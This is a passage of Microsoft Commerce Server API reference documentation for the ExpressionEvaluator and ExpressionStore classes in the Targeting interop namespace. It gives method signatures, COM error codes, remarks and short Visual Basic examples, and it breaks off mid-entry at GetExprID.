Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.EvalInContext


ExpressionEvaluator.Eval Method (PIA)

Use this method to evaluate an expression.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function Eval(
 nExprID As Integer,
 pDictObjs As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using Microsoft.CommerceServer.Interop;      //For IDictionary
…
public object Eval(
 int nExprID,
 IDictionary pDictObjs
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that contains the unique identifier for the expression in the expression store.
pDictObjs
A Dictionary object that contains a set of profiles.
[C#]
nExprID
An int that contains the unique identifier for the expression in the expression store.
pDictObjs
The IDictionary interface of a Dictionary object that contains a set of profiles.

Return Values

[Visual Basic .NET] This method returns an Object indicating the result of evaluating the expression in the specified context. The result may be True, False, or Null. Null indicates that the expression could not be evaluated.

[C#] This method returns an object indicating the result of evaluating the expression in the given context.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified
&H8110000D | No connection string specified
&H81100012 | Could not find the specified expression ID, nExprID, in the expression store
[C#]

The following table shows the custom COM errors, and the standard COM errors with special meanings, that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified
0x8110000D | No connection string specified
0x81100012 | Could not find the specified expression ID, nExprID, in the expression store

Remarks

Expressions must be precompiled and loaded into the expression cache before being evaluated. The Eval method first checks the expression cache for the expression, and if it is not found, loads the expression from the expression store. Use the LoadExpr or LoadAll method to preload an expression into the expression cache and improve evaluation performance.

An expression is evaluated against data contained in a set of profiles. This set of profiles is referred to as an evaluation context. A new evaluation context is generated by the Eval method using the Dictionary object. The Eval method discards the new context after completing the evaluation. This process is not efficient if many expressions must be evaluated against the same context.

If an evaluation context will be used across multiple expressions, create a context in the context cache using the CreateEvalContext method. Use the EvalInContext method to evaluate expressions in this new common context.

The Connect method must be called before using the Eval method.

[Visual Basic .NET]

Example

' dictUser1, dictAddress1, & dictProfiles are Dictionary objects
' create 2 profiles
dictUser1.firstName = "Joe"
dictUser1.lastName = "User"
dictAddress1.city = "Somewhere"
dictAddress1.state = "WA"

' add the profiles to the context Dictionary
dictProfiles.User = dictUser1
dictProfiles.Address = dictAddress1

' evaluate the expression, vResult is an Object
oResult = oExpressionEval.Eval(2134, dictProfiles)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.Connect

ExpressionEvaluator.CreateEvalContext

ExpressionEvaluator.EvalInContext

ExpressionEvaluator.LoadExpr


ExpressionEvaluator.EvalInContext Method (PIA)

Use this method to evaluate an expression against a pre-established context stored in the context cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function EvalInContext(
 nExprID As Integer,
 pContext As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public object EvalInContext(
 int nExprID,
 IExprEvalContext pContext
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that contains the unique identification of the expression in the expression store.
pContext
An ExprEvalContext object that identifies the specific context for this evaluation.
[C#]
nExprID
An int that contains the unique identification of the expression in the expression store.
pContext
An IExprEvalContext interface of an ExprEvalContext object that identifies the specific context for this evaluation.

Return Values

This method returns an Object indicating the result of the expression evaluated in the specified context. This result may be True, False, or Null. Null indicates that the expression could not be evaluated.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified
&H8110000D | No connection string specified
&H8110001D | Invalid ExprEvalContext object
&H81100012 | Could not find the specified expression ID, nExprID, in the expression store
[C#]

The following table shows the custom COM errors, and the standard COM errors with special meanings, that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified
0x8110000D | No connection string specified
0x8110001D | Invalid ExprEvalContext object
0x81100012 | Could not find the specified expression ID, nExprID, in the expression store

Remarks

The Eval method creates and discards an evaluation context for every evaluation. Evaluating against a stored context optimizes performance when multiple expressions need to be evaluated in the same context. Create the context for evaluation using the CreateEvalContext method.

Expression results are also stored in the context cache. If the result of a particular expression is requested multiple times from the same ExprEvalContext object using the EvalInContext method, the result is retrieved from the cache rather than by re-evaluating the expression, further increasing efficiency.

Caution

  • The state of the profile objects that comprise the context should not be externally changed during the lifetime of the ExprEvalContext object; doing so leads to nondeterministic evaluation results.

The Connect method must be called before using the EvalInContext method.

[Visual Basic .NET]

Example

' oEvalContext is an ExprEvalContext object
' oResult is an Object
oResult = oExpressionEval.Eval(2134, oEvalContext)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.Connect

ExpressionEvaluator.CreateEvalContext

ExpressionEvaluator.Eval

ExpressionEvaluator.LoadExpr


ExpressionEvaluator.EvalXML Method (PIA)

Use this method to evaluate an expression represented as an Extensible Markup Language (XML) fragment.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function EvalXML(
 bstrXMLExpr As String,
 DictObjs As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using Microsoft.CommerceServer.Interop;      //For IDictionary
…
public object EvalXML(
 string bstrXMLExpr,
 IDictionary pDictObjs
);

Parameters

[Visual Basic .NET]
bstrXMLExpr
A String that contains the XML fragment to be evaluated.
DictObjs
A Dictionary object that contains a set of profiles.
[C#]
bstrXMLExpr
A string that contains the XML fragment to be evaluated.
pDictObjs
The IDictionary interface of a Dictionary object that contains a set of profiles.

Return Values

This method returns an Object indicating the result of evaluating the expression is contained in the bstrXMLExpr parameter. The result may be True, False, or Null. The Null value indicates the expression could not be evaluated.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
&H81100022 | Invalid expression argument value, or impossible conversion
&H81100016 | Invalid clause encountered
&H8110001F | Invalid connection
&H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
&H81100015 | Term type missing, or unrecognized term type encountered
&H81100014 | Unrecognized XML element encountered
&H8110000D | No connection string specified
&H81100013 | XML DOM object parsing error
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
0x81100022 | Invalid expression argument value, or impossible conversion
0x81100016 | Invalid clause encountered
0x8110001F | Invalid connection
0x81100017 | Operator missing, unrecognized operator encountered, or type mismatch
0x81100015 | Term type missing, or unrecognized term type encountered
0x81100014 | Unrecognized XML element encountered
0x8110000D | No connection string specified
0x81100013 | XML DOM object parsing error

Remarks

The XML is parsed before being evaluated. For information on the XML format, see Expression XML Structures.

Expressions evaluated using the EvalXML method are not persistent; that is, they are not stored in the expression store or loaded into the expression cache. Use the Eval method to evaluate persistent expressions.

A new ExprEvalContext object is created and then discarded for each XML fragment that is evaluated.

The Connect method must be called before using the EvalXML method.

[Visual Basic .NET]

Example

' sXMLExpr is a string.
' Note that this string is not formatted properly with respect to
' quotation marks or continuation in order to increase readability.

strXMLExpr = "<CLAUSE OPER="equal">
                  <PROPERTY ID="User.firstName" TYPE="string" />
                  <IMMED-VAL TYPE="string">Jill</IMMED-VAL>
              </CLAUSE>"

' oResult is an Object
' dictProfiles is a Dictionary object containing a set of profiles
oResult = oExpressionEval.EvalXML(sXMLExpr, dictProfiles)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

Expression Recordset

Expression XML Structures

ExpressionEvaluatorClass

ExpressionEvaluator.Connect

ExpressionEvaluator.Eval

ExpressionEvaluator.ParseXML


ExpressionEvaluator.FlushAll Method (PIA)

Use this method to remove all expressions from the expression cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub FlushAll()
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void FlushAll();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The FlushAll method removes all expressions from the expression cache and resets the read-only ExprCount property to zero (0).

Use the FlushExpr method to remove a specific expression from the expression cache.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.ExprCount

ExpressionEvaluator.FlushExpr

ExpressionEvaluator.LoadAll

ExpressionEvaluator.LoadExpr


ExpressionEvaluator.FlushExpr Method (PIA)

Use this method to remove the specified expression from the expression cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub FlushExpr(
 nExprID As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void FlushExpr(
 int nExprID
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that contains the identifier of the expression to be removed from the expression cache.
[C#]
nExprID
A int that contains the identifier of the expression to be removed from the expression cache.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110000A | Invalid expression ID specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110000A | Invalid expression ID specified

Remarks

The FlushExpr method removes the specified expression from the expression cache and decrements the read-only ExprCount property by one (1).

Use the FlushAll method to remove all expressions from the expression cache.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.ExprCount

ExpressionEvaluator.FlushAll

ExpressionEvaluator.LoadAll

ExpressionEvaluator.LoadExpr


ExpressionEvaluator.LoadAll Method (PIA)

Use this method to pre-compile all expressions in the expression store. Each expression that pre-compiles correctly is loaded into the expression cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub LoadAll()
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void LoadAll();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
&H81100022 | Invalid expression argument value, or impossible conversion
&H81100016 | Invalid clause encountered
&H8110001F | Invalid connection
&H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
&H81100015 | Term type missing, or unrecognized term type encountered
&H81100014 | Unrecognized XML element encountered
&H8110000D | No connection string specified
&H81100013 | XML DOM object parsing error
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
0x81100022 | Invalid expression argument value, or impossible conversion
0x81100016 | Invalid clause encountered
0x8110001F | Invalid connection
0x81100017 | Operator missing, unrecognized operator encountered, or type mismatch
0x81100015 | Term type missing, or unrecognized term type encountered
0x81100014 | Unrecognized XML element encountered
0x8110000D | No connection string specified
0x81100013 | XML DOM object parsing error

Remarks

Any expressions in the expression cache at the time of the call are reloaded.

If there are many expressions in the expression store, the LoadAll method may be slow. Use the LoadExpr method to load only specific expressions into the expression cache.

For every expression loaded into the expression cache, the LoadAll method increments the read-only ExprCount property by one (1).

Use the FlushAll method to remove all expressions from the expression cache.

The Connect method must be called before using the LoadAll method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.Connect

ExpressionEvaluator.ExprCount

ExpressionEvaluator.FlushAll

ExpressionEvaluator.FlushExpr

ExpressionEvaluator.LoadExpr


ExpressionEvaluator.LoadExpr Method (PIA)

Use this method to pre-compile an expression, and if successful, load the expression into the expression cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub LoadExpr(
 nExprID As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void LoadExpr(
 int nExprID
);

Parameters

[Visual Basic .NET]
nExprID
A positive Integer that contains the identifier of the expression to load into the expression cache.
[C#]
nExprID
A positive int that contains the identifier of the expression to load into the expression cache.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
&H81100022 | Invalid expression argument value, or impossible conversion
&H81100016 | Invalid clause encountered
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified
&H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
&H81100015 | Term type missing, or unrecognized term type encountered
&H81100014 | Unrecognized XML element encountered
&H8110000D | No connection string specified
&H81100012 | Could not find the specified expression ID, nExprID, in the expression store
&H81100013 | XML DOM object parsing error
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
0x81100022 | Invalid expression argument value, or impossible conversion
0x81100016 | Invalid clause encountered
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified
0x81100017 | Operator missing, unrecognized operator encountered, or type mismatch
0x81100015 | Term type missing, or unrecognized term type encountered
0x81100014 | Unrecognized XML element encountered
0x8110000D | No connection string specified
0x81100012 | Could not find the specified expression ID, nExprID, in the expression store
0x81100013 | XML DOM object parsing error

Remarks

If the specified expression is already loaded in the expression cache at the time of the call, it will be reloaded.

The LoadExpr method increments the read-only ExprCount property by one (1) when it loads an expression into the expression cache.

With the exception of XML fragments, only expressions that exist in the expression cache may be evaluated. The Eval method loads an expression from the expression store that is not preloaded into the expression cache.

Use the LoadAll method to load all expressions into the expression cache. Use the FlushExpr method to remove an expression from the expression cache.

The Connect method must be called before using the LoadExpr method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.Connect

ExpressionEvaluator.ExprCount

ExpressionEvaluator.FlushAll

ExpressionEvaluator.FlushExpr

ExpressionEvaluator.LoadAll


ExpressionEvaluator.ParseXML Method (PIA)

Use this method to check whether an Extensible Markup Language (XML) fragment is a syntactically correct expression.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function ParseXML(
 bstrXMLExpr As String
) As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void ParseXML(
 string bstrXMLExpr
);

Parameters

[Visual Basic .NET]
bstrXMLExpr
A String that contains the XML text defining an expression.
[C#]
bstrXMLExpr
A string that contains the XML text defining an expression.

Return Values

[Visual Basic .NET] This method returns a Boolean value indicating the results of parsing the expression (bstrXMLExpr).

[C#] This method returns a bool indicating the validity of the expression.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
&H81100022 | Invalid expression argument value, or impossible conversion
&H81100016 | Invalid clause encountered
&H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
&H81100015 | Term type missing, or unrecognized term type encountered
&H81100014 | Unrecognized XML element encountered
&H81100013 | XML DOM object parsing error
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
0x81100022 | Invalid expression argument value, or impossible conversion
0x81100016 | Invalid clause encountered
0x81100017 | Operator missing, unrecognized operator encountered, or type mismatch
0x81100015 | Term type missing, or unrecognized term type encountered
0x81100014 | Unrecognized XML element encountered
0x81100013 | XML DOM object parsing error

Remarks

Because this method checks only syntax, the expression may still be invalid even though the method succeeds.

The expression store is not used for XML fragments.

[Visual Basic .NET]

Example

' sXMLExpr is a string.
' Note that this string is not formatted properly with respect to
' quotation marks or continuation in order to increase readability.

strXMLExpr = "<CLAUSE OPER="equal">
                  <PROPERTY ID="User.firstName" TYPE="string" />
                  <IMMED-VAL TYPE="string">Jill</IMMED-VAL>
              </CLAUSE>"

' bResult is a Boolean

bResult = oExpressionEval.ParseXML(sXMLExpr)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

Expression Recordset

Expression XML Structures

ExpressionEvaluatorClass

ExpressionEvaluator.Eval

ExpressionEvaluator.EvalXML


ExpressionEvaluator Properties (PIA)

Properties

Property | Type | Description
ExprCount | Integer | Retrieves the number of expressions loaded into the expression cache. This property is read-only.


ExpressionEvaluator.ExprCount Property (PIA)

The ExprCount property is a read-only Integer that indicates the number of expressions that are correctly pre-compiled and loaded into the expression cache. Expressions that contain syntactic errors will fail to pre-compile correctly.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Property ExprCount As Integer
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public int ExprCount {get;}

Property Value

The number of expressions loaded in the expression store.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.FlushAll

ExpressionEvaluator.FlushExpr

ExpressionEvaluator.LoadAll

ExpressionEvaluator.LoadExpr


ExpressionStore Class (PIA)

Use this object to manipulate expressions contained in an expression store. An expression store is a database of expressions along with information about the expressions. There is one expression store for each Commerce site.

Methods

Method | Description
Connect | Validates and stores the connection string to the specified expression store.
DeleteExpression | Deletes an expression from the expression store.
Disconnect | Sets the connection string to an empty string.
Export | Exports expressions from the expression store to a file.
GetAllExprs | Retrieves all expressions from the expression store.
GetExpression | Retrieves an expression from the expression store.
GetExprID | Translates an expression name into its corresponding expression ID.
GetExprName | Translates an expression ID into its corresponding expression name.
Import | Imports a set of expressions to the expression store from a file.
NewExpression | Creates a new ADODB26Lib.Recordset object that contains an empty expression.
Query | Queries for a list of expressions based on one or more criteria.
RenameExpression | Renames an existing expression.
SaveExpression | Saves a new or changed expression to the expression store.

Remarks

The connection string to a valid expression store must be stored using the Connect method before calling any other method of the ExpressionStore object.

An ExpressionStore object is internally created when the Connect method of an ExpressionEval object is invoked.

Many of the ExpressionStore methods use a Recordset object to store an expression. For more information, see Expression Recordset.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

Expression Recordset

Expression XML Structures

ExpressionEval Object


ExpressionStore Methods (PIA)

Methods

Method | Description
Connect | Validates and stores the connection string to the specified expression store.
DeleteExpression | Deletes an expression from the expression store.
Disconnect | Sets the connection string to an empty string.
Export | Exports expressions from the expression store to a file.
GetAllExprs | Retrieves all expressions from the expression store.
GetExpression | Retrieves an expression from the expression store.
GetExprID | Translates an expression name into its corresponding expression ID.
GetExprName | Translates an expression ID into its corresponding expression name.
Import | Imports a set of expressions to the expression store from a file.
NewExpression | Creates a new ADODB26Lib.Recordset object that contains an empty expression.
Query | Queries for a list of expressions based on one or more criteria.
RenameExpression | Renames an existing expression.
SaveExpression | Saves a new or changed expression to the expression store.


ExpressionStore.Connect Method (PIA)

Use this method to store the connection string to an expression store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Connect(
 strConnStr As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Connect(
 string strConnStr
);

Parameters

[Visual Basic .NET]
strConnStr
A String that contains the database connection information for the expression store.
[C#]
strConnStr
A string that contains the database connection information for the expression store.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110001E | Specified database does not contain a valid expression store
&H8110000D | No connection string specified
&H8110000F | Insufficient access permissions on the expression store database
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110001E | Specified database does not contain a valid expression store
0x8110000D | No connection string specified
0x8110000F | Insufficient access permissions on the expression store database

Remarks

The ExpressionStore object does not maintain a persistent ADO connection. This method stores the connection string after validating that the connection string points to an actual expression store. The Disconnect method sets the connection string to an empty string.

Each method of the ExpressionStore object creates a connection when needed, and when finished closes the connection. This relies on ADO connection pooling and provides higher availability.

The connection string for the expression store can be obtained through the SiteConfigReadOnly object or through the Commerce Server Manager console from the s_BizDataStoreConnectionString property under the keywords "Commerce Server Manager\Global Resources\Profiles."

The Connect method must be successfully executed before calling any other method of an externally created ExpressionStore object.

[Visual Basic .NET]

Example

' Connect using an explicit connection string .
' oExpressionStore is a valid ExpressionStore object

oExpressionStore.Connect ("Provider=SQLOLEDB;Data Source=server;" _
& "Initial Catalog=Retail_commerce;Integrated Security='SSPI'")

' Connect using a string retrieved from the SiteConfigReadOnly object.
' sConn is a String, oSCRO is an initialized SiteConfigReadOnly object.

sConn = oSCRO.Fields("Biz Data Service") _
.Value.Fields("s_BizDataStoreConnectionString").Value
oExpressionStore.Connect (sConn)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Disconnect

SiteConfigReadOnly Object


ExpressionStore.DeleteExpression Method (PIA)

Use this method to delete an existing expression from the expression store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub DeleteExpression(
 nExprID As Integer,
 flags As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void DeleteExpression(
 int nExprID,
 int flags
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that specifies the expression to be deleted.
flags
An Integer that contains the optional control flags. This parameter is currently unused and should be set to zero (0).
[C#]
nExprID
An int that specifies the expression to be deleted.
flags
An int that contains the optional control flags. This parameter is currently unused and should be set to zero (0).

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified, or expression ID not found in store
&H81100010 | Delete operation failed, possibly due to other expressions having dependencies on this expression
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified, or expression ID not found in store
0x81100010 | Delete operation failed, possibly due to other expressions having dependencies on this expression
0x8110000D | No connection string specified

Remarks

If the specified expression has a non-zero reference count, meaning that other expressions depend on the specified expression, the expression is not deleted.

Call the Connect method before calling the DeleteExpression method.

[Visual Basic .NET]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.
' 59552 is a valid expression ID retrieved by the GetExprID method.

oExpressionStore.Delete(59552, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.NewExpression


ExpressionStore.Disconnect Method (PIA)

Use this method to set the connection string to the expression store to an empty string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Disconnect()
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Disconnect();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about connecting and disconnecting to an expression store, see ExpressionStore.Connect.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class


ExpressionStore.Export Method (PIA)

Use this method to export the expressions stored in the expression store to a file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Export(
 bstrFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Export(
 string bstrFileName
);

Parameters

[Visual Basic .NET]
bstrFileName
A String that contains the name of the file used to store the expressions.
[C#]
bstrFileName
A string that contains the name of the file used to store the expressions.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000D | No connection string specified

Remarks

If the file to which you export does not exist prior to the call, the method will fail. If an absolute path is not specified, the file is placed in the \WINNT\System32 folder.

After the method successfully completes, the file contains the XML schema for the expression Recordset followed by the XML representation of each expression Recordset in the expression store.

Use the Import method to copy the expressions in a file to the expression store.

Call the Connect method before calling the Export method.

[Visual Basic .NET]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.

oExpressionStore.Export ("Expressions.xml")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

Expression Recordset

Expression XML Structures

ExpressionStore Class

ExpressionStore.Import


ExpressionStore.GetAllExprs Method (PIA)

Use this method to retrieve an ADO _Recordset interface to a hierarchical Recordset object that contains all the expressions residing in the expression store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetAllExprs() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetAllExprs();

Return Values

[Visual Basic .NET] This method returns the _Recordset interface of a Recordset object. If successful, the Recordset object contains the expressions currently residing in the expression store. If unsuccessful, the Recordset object is set to Null.

[C#] This method returns an ADO _Recordset interface of a hierarchical Recordset object that contains all the expressions residing in the expression store.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000D | No connection string specified

Remarks

The Recordset object contains one record for each expression in the expression store. For information on the format and fields of the Recordset object, see Expression Recordset.

Use the GetExpression method to retrieve a single expression from the expression store.

Call the Connect method before calling the GetAllExprs method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.GetExpression


ExpressionStore.GetExpression Method (PIA)

Use this method to retrieve an ADO _Recordset interface to a hierarchical Recordset object that contains the specified expression.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetExpression(
 nExprID As Integer
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetExpression(
 int nExprID
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that contains the unique identifier of the expression.
[C#]
nExprID
An int that contains the unique identifier of the expression.

Return Values

[Visual Basic .NET] This method returns the _Recordset interface of a Recordset object. If successful, the Recordset object contains the specified expression. If unsuccessful, the Recordset object is set to Null.

[C#] This method returns an ADO _Recordset interface to a hierarchical Recordset object that contains the expression.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified, or expression ID not found in store
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified, or expression ID not found in store
0x8110000D | No connection string specified

Remarks

To access all expressions in the connected expression store, use the GetAllExprs method.

Call the Connect method before calling the GetExpression method.

The returned _Recordset interface to a Recordset contains valid data only if the method completes successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

Expression Recordset

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.GetAllExprs

ExpressionStore.NewExpression


ExpressionStore.GetExprID Method (PIA)

Use this method to translate the name of an expression into its corresponding expression ID.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetExprID(
 strExprName As String
) As Integer
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public int GetExprID(
 string strExprName
);

Parameters

[Visual Basic .NET]
strExprName
A String that contains the expression name.
[C#]
strExprName
